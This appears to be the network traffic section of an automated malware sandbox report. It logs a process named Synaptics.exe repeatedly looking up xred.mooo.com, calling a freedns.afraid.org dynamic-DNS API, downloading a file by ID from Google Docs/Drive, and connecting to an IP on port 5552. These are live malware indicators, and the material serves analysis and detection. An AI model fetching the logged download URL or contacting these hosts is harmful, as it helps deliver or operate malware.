Dec 30, 2024 11:37:50.343310118 CET	50569	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.343327999 CET	443	50569	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.343355894 CET	50569	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.343360901 CET	443	50569	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.343420982 CET	443	50569	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.343441010 CET	50569	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.343458891 CET	50569	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.344217062 CET	50569	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.344235897 CET	443	50569	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.345077991 CET	50573	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.345132113 CET	443	50573	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.345491886 CET	50573	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.345751047 CET	50573	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.345762968 CET	443	50573	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.576672077 CET	443	50570	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.576772928 CET	50570	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.577733040 CET	443	50570	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.577800989 CET	50570	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.582669020 CET	50570	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.582695007 CET	443	50570	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.582957983 CET	443	50570	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.583008051 CET	50570	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.583528042 CET	50570	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.631331921 CET	443	50570	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.639014959 CET	443	50571	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.639107943 CET	50571	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.639786005 CET	443	50571	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.639839888 CET	50571	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.642849922 CET	50571	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.642858028 CET	443	50571	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.643115044 CET	443	50571	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.643227100 CET	50571	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.643553972 CET	50571	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.691322088 CET	443	50571	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.710059881 CET	443	50572	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.710294962 CET	50572	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.718081951 CET	50572	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.718092918 CET	443	50572	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.718236923 CET	50572	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.718240976 CET	443	50572	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.941015005 CET	443	50570	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.941099882 CET	50570	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.941132069 CET	443	50570	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.941174984 CET	50570	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.941701889 CET	443	50570	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.941749096 CET	443	50570	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.941751957 CET	50570	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.941785097 CET	50570	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.942004919 CET	50570	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.942023993 CET	443	50570	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.943197966 CET	50574	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.943257093 CET	443	50574	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.943337917 CET	50574	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.943795919 CET	50574	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.943810940 CET	443	50574	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.945602894 CET	443	50573	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.945674896 CET	50573	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.946023941 CET	50573	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.946032047 CET	443	50573	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.946187019 CET	50573	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.946196079 CET	443	50573	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.009192944 CET	443	50571	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:51.009288073 CET	50571	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:51.009324074 CET	443	50571	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:51.009495020 CET	50571	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:51.009605885 CET	50571	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:51.009685040 CET	443	50571	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:51.009735107 CET	50571	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:51.010349035 CET	50575	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:51.010401964 CET	443	50575	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:51.010649920 CET	50575	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:51.010870934 CET	50575	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:51.010884047 CET	443	50575	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:51.111052036 CET	443	50572	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.111114979 CET	443	50572	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.111166954 CET	50572	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.111166954 CET	50572	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.111177921 CET	443	50572	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.111229897 CET	443	50572	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.111371994 CET	50572	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.118825912 CET	50572	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.118849993 CET	443	50572	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.120239019 CET	50576	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.120287895 CET	443	50576	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.120342970 CET	50576	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.120632887 CET	50576	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.120650053 CET	443	50576	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.443470955 CET	443	50573	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.443530083 CET	443	50573	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.443576097 CET	50573	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.443604946 CET	443	50573	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.443624973 CET	50573	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.443638086 CET	50573	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.443643093 CET	443	50573	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.443660975 CET	443	50573	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.443701982 CET	50573	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.451853037 CET	50573	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.451890945 CET	443	50573	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.454993010 CET	50578	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.455049992 CET	443	50578	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.455167055 CET	50578	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.455369949 CET	50578	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:51.455385923 CET	443	50578	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.549597979 CET	443	50574	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:51.549700022 CET	50574	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:51.550389051 CET	443	50574	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:51.550601006 CET	50574	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:51.612718105 CET	443	50575	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:51.612790108 CET	50575	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:51.613497972 CET	443	50575	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:51.613634109 CET	50575	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:51.730012894 CET	443	50576	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:51.730190992 CET	50576	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:52.065705061 CET	443	50578	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:52.065773964 CET	50578	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:53.642905951 CET	49739	80	192.168.2.4	69.42.215.252
Dec 30, 2024 11:38:03.252290010 CET	49739	80	192.168.2.4	69.42.215.252
Dec 30, 2024 11:38:03.509388924 CET	5552	49758	172.111.138.100	192.168.2.4
Dec 30, 2024 11:38:03.564975023 CET	49758	5552	192.168.2.4	172.111.138.100

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 11:35:54.313699961 CET	51193	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:35:54.320921898 CET	53	51193	1.1.1.1	192.168.2.4
Dec 30, 2024 11:35:55.214487076 CET	57648	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:35:55.221702099 CET	53	57648	1.1.1.1	192.168.2.4
Dec 30, 2024 11:35:55.246777058 CET	54177	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:35:55.253983974 CET	53	54177	1.1.1.1	192.168.2.4
Dec 30, 2024 11:35:55.345419884 CET	61430	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:35:55.352435112 CET	53	61430	1.1.1.1	192.168.2.4
Dec 30, 2024 11:36:01.527348995 CET	53533	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:36:01.536122084 CET	53	53533	1.1.1.1	192.168.2.4
Dec 30, 2024 11:36:08.450062037 CET	65511	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:36:08.458672047 CET	53	65511	1.1.1.1	192.168.2.4
Dec 30, 2024 11:36:15.582698107 CET	59163	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:36:15.590351105 CET	53	59163	1.1.1.1	192.168.2.4
Dec 30, 2024 11:36:22.394555092 CET	61526	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:36:22.537523985 CET	53	61526	1.1.1.1	192.168.2.4
Dec 30, 2024 11:36:29.504031897 CET	56071	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:36:29.511379957 CET	53	56071	1.1.1.1	192.168.2.4
Dec 30, 2024 11:36:36.300795078 CET	55424	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:36:36.307945013 CET	53	55424	1.1.1.1	192.168.2.4
Dec 30, 2024 11:36:40.848048925 CET	63827	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:36:40.855909109 CET	53	63827	1.1.1.1	192.168.2.4
Dec 30, 2024 11:36:46.583889961 CET	57266	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:36:46.590826988 CET	53	57266	1.1.1.1	192.168.2.4
Dec 30, 2024 11:36:53.417892933 CET	61788	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:36:53.425443888 CET	53	61788	1.1.1.1	192.168.2.4
Dec 30, 2024 11:37:00.224836111 CET	59982	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:37:00.231900930 CET	53	59982	1.1.1.1	192.168.2.4
Dec 30, 2024 11:37:04.755146027 CET	64449	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:37:04.762151003 CET	53	64449	1.1.1.1	192.168.2.4
Dec 30, 2024 11:37:10.425905943 CET	61007	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:37:10.550421953 CET	53	61007	1.1.1.1	192.168.2.4
Dec 30, 2024 11:37:17.332079887 CET	56920	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:37:17.339066029 CET	53	56920	1.1.1.1	192.168.2.4
Dec 30, 2024 11:37:21.886954069 CET	58077	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:37:21.894351959 CET	53	58077	1.1.1.1	192.168.2.4
Dec 30, 2024 11:37:27.598063946 CET	58875	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:37:27.604885101 CET	53	58875	1.1.1.1	192.168.2.4
Dec 30, 2024 11:37:34.394710064 CET	51029	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:37:34.402811050 CET	53	51029	1.1.1.1	192.168.2.4
Dec 30, 2024 11:37:41.192452908 CET	55816	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:37:41.199850082 CET	53	55816	1.1.1.1	192.168.2.4
Dec 30, 2024 11:37:45.710791111 CET	63023	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:37:45.718930006 CET	53	63023	1.1.1.1	192.168.2.4
Dec 30, 2024 11:37:51.379136086 CET	53715	53	192.168.2.4	1.1.1.1
Dec 30, 2024 11:37:51.446288109 CET	53	53715	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 11:35:54.313699961 CET	192.168.2.4	1.1.1.1	0x1b55	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:35:55.214487076 CET	192.168.2.4	1.1.1.1	0xd81e	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:35:55.246777058 CET	192.168.2.4	1.1.1.1	0xee20	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:35:55.345419884 CET	192.168.2.4	1.1.1.1	0x2b42	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:01.527348995 CET	192.168.2.4	1.1.1.1	0x7404	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:08.450062037 CET	192.168.2.4	1.1.1.1	0x6c0d	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:15.582698107 CET	192.168.2.4	1.1.1.1	0xd6ce	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:22.394555092 CET	192.168.2.4	1.1.1.1	0x5b9a	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:29.504031897 CET	192.168.2.4	1.1.1.1	0x65f1	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:36.300795078 CET	192.168.2.4	1.1.1.1	0xf1b5	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:40.848048925 CET	192.168.2.4	1.1.1.1	0x28b1	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:46.583889961 CET	192.168.2.4	1.1.1.1	0xf1b7	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:53.417892933 CET	192.168.2.4	1.1.1.1	0xccc5	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:00.224836111 CET	192.168.2.4	1.1.1.1	0xef67	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:04.755146027 CET	192.168.2.4	1.1.1.1	0x5a47	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:10.425905943 CET	192.168.2.4	1.1.1.1	0x1737	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:17.332079887 CET	192.168.2.4	1.1.1.1	0xa766	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:21.886954069 CET	192.168.2.4	1.1.1.1	0x5867	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:27.598063946 CET	192.168.2.4	1.1.1.1	0x836a	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:34.394710064 CET	192.168.2.4	1.1.1.1	0x4bad	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:41.192452908 CET	192.168.2.4	1.1.1.1	0xde1b	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:45.710791111 CET	192.168.2.4	1.1.1.1	0x63ad	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:51.379136086 CET	192.168.2.4	1.1.1.1	0xfdfd	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 11:35:54.320921898 CET	1.1.1.1	192.168.2.4	0x1b55	No error (0)	docs.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:35:55.221702099 CET	1.1.1.1	192.168.2.4	0xd81e	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:35:55.253983974 CET	1.1.1.1	192.168.2.4	0xee20	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:35:55.352435112 CET	1.1.1.1	192.168.2.4	0x2b42	No error (0)	drive.usercontent.google.com		142.250.186.97	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:01.536122084 CET	1.1.1.1	192.168.2.4	0x7404	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:08.458672047 CET	1.1.1.1	192.168.2.4	0x6c0d	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:15.590351105 CET	1.1.1.1	192.168.2.4	0xd6ce	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:22.537523985 CET	1.1.1.1	192.168.2.4	0x5b9a	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:29.511379957 CET	1.1.1.1	192.168.2.4	0x65f1	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:36.307945013 CET	1.1.1.1	192.168.2.4	0xf1b5	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:40.769879103 CET	1.1.1.1	192.168.2.4	0xd5e6	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 30, 2024 11:36:40.769879103 CET	1.1.1.1	192.168.2.4	0xd5e6	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:40.855909109 CET	1.1.1.1	192.168.2.4	0x28b1	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:46.590826988 CET	1.1.1.1	192.168.2.4	0xf1b7	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:36:53.425443888 CET	1.1.1.1	192.168.2.4	0xccc5	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:00.231900930 CET	1.1.1.1	192.168.2.4	0xef67	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:04.762151003 CET	1.1.1.1	192.168.2.4	0x5a47	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:10.550421953 CET	1.1.1.1	192.168.2.4	0x1737	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:17.339066029 CET	1.1.1.1	192.168.2.4	0xa766	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:21.894351959 CET	1.1.1.1	192.168.2.4	0x5867	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:27.604885101 CET	1.1.1.1	192.168.2.4	0x836a	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:34.402811050 CET	1.1.1.1	192.168.2.4	0x4bad	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:41.199850082 CET	1.1.1.1	192.168.2.4	0xde1b	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:45.718930006 CET	1.1.1.1	192.168.2.4	0x63ad	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:37:51.446288109 CET	1.1.1.1	192.168.2.4	0xfdfd	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

freedns.afraid.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	69.42.215.252	80	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 11:35:55.265538931 CET	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Dec 30, 2024 11:35:55.836880922 CET	243	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Dec 2024 10:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:55 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:35:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:55 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-8YWlimg3Rk_N4qscOXL6Mw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:55 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:35:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:55 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-tj06dfb76LJkCM05vx2iag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:35:55 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:35:56 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:35:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-0JKfLO-aWnWOQe62j5M91A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
